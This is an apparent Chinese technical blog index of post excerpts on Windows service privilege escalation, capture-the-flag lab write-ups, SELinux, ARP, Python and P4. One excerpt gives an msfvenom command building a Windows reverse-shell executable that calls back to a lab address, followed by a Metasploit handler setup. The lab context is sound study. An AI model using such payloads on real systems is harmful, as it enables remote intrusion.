zhyann
Windows服务漏洞利用-覆盖服务的可执行程序
在“Windows服务漏洞利用-利用错误的服务权限进行提权”一章中在我们拥有更改服务配置的权限假设我们没有这些权限（SERVICE_CHANGE_CONFIG）但是我们拥有更改服务可执行文件的权限。换句话说我...
if elif else语句的使用
1.if语句基本格式age = int(input('请输入你的年龄:')) if age >= 18: print('我已经成年') 2.if else判断age = int(input('请输入你的年龄:')) if age >= 18: print('我已经成年') else...
管理selinux安全性
1. selinuxSecurityEnhancedLinux（SElinux）是一个额外的系统安全层。SElinux的主要目标是防止已遭泄漏的系统服务访问用户数据。大多数linux管理员都熟悉标准的用户/组/其他权限安全模型。这种...
Fail
简介point 20NukemDifficulty INTERMEDIATErated by community INTERMEDIAT You shall not pass. 实验环境攻击者 Kali 192.168.45.209受害者 IP 192.168.181.126 Linux 1. 信息收集收集受...
Rookie Mistake JWT SSTI
简介point 20Rookie MistakeDifficulty INTERMEDIATErated by community HARD Beginner's luck 实验环境攻击者 Kali 192.168.45.159受害者 IP 192.168.153.221 Linux 1. 信息收集收集受害者...
ARP协议
1. 前言网络设备有数据要发送给另一台网络设备时，必须要知道对方的网络层地址（即IP地址）。IP地址由网络层来提供，但是仅有IP地址是不够的，IP数据报文必须封装成帧才能通过数据链路进行发送...
实验
1. 获取一个Meterpreter shellmsfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.192.128 LPORT=3333 -f exe -o reverse.exe 2. 在Kali使用handler模块建立监听use exploit/multi/hand...
Python数据容器 序列的切片操作
序列的常用操作 - 切片序列支持切片，即：列表、元组、字符串，均支持进行切片操作切片：从一个序列中，取出一个子序列语法：序列[起始下标：结束下标：步长]表示从序列中，从指定位置开始，依...
p4编程-可编程deparser实例
在p4语言中，deparser的作用是构造报文，然后将报文发送出去，它还可以包含计算校验和、复制报文等操作 1. deparser实例的主要功能 2. deparser实例代码header中增加header vxlan_h { bit<...
DC-2 cewl工具使用
简介point 8DC-2Difficulty Intermediaterated by community Intermediate 实验环境攻击者 Kali 192.168.45.178受害者 IP 192.168.171.194 Linux 1. 信息收集收集受害者服务详情80/tcp open h...